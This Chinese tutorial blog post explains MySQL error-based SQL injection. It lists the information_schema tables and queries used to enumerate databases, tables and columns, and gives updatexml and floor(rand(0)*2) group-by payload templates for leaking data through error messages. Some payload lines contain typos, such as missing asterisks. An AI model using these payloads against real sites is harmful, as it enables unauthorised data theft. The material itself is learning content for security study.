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sql简单的报错查询

sql简单的报错查询

作者: sky枫 | 来源:发表于2018-06-02 16:31 被阅读0次
    关于INFORMATION_SCHEMA表的简单介绍
      information_schema   :数据库是MySQL系统自带的数据库,它提供了数据库元数据的访问方式。
    

    information_schema 数据库中注入时要用到的表有( schemata tables columns)

                            chemata 表中   字段
                                     schema_name      存放数据库名
                            tables  表中   字段
                                     table_schema       数据表所属的数据库名
                                     table_name          存放数据库所有表名
                            columns  表中  字段
                                     table_schema       数据表所属的数据库名
                                     table_name          存放数据库所有表名
                                     column_name      存放数据库所有表里面的列名
    

    SQL注入时常用到的几条查询语句

                      查找数据库名称
                              select schema_name from information_schema.schemata   相当于   show databases;
                      查mysqllname所有表名
                            select table_name from information_schema.tables where table_schema=mysqlname
                      查询mysqlname数据库tablename表中的所有字段
                            select column_name from information_schema.columns where table_schema="mysqlname" and table_name="tablename"
    
    报错注入原理:

    由于rand和group+by的冲突,即rand()是不可以作为order by的条件字段,同理也不可以为group by的条件字段。
      floor(rand(0)*2) 获取不确定又重复的值造成mysql的错误
      floor:向下取整,只保留整数部分,rand(0) -> 0~1

    报错注入特点:
                     页面上没有显示位,但是有SQL语句执行错误信息
    

    报错语句可以分为MYSQL报错


    01.PNG

    PHP报错


    02.PNG
    常用语句
                                and updatexml (1,payload'1)
                              
                                and updatexml (1,concat(0x7e,payload,0x7e),1)      0x7e  是: 转码来的
    
    
                                (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
    

    这里的concat(payload)是关键语句 一般都是在这里爆数据库,表和字段
    如:
    (select 1 from (select count(),concat((database()),floor(rand(0)2))x from information_schema.tables group by x)a)
    这是爆数据库名

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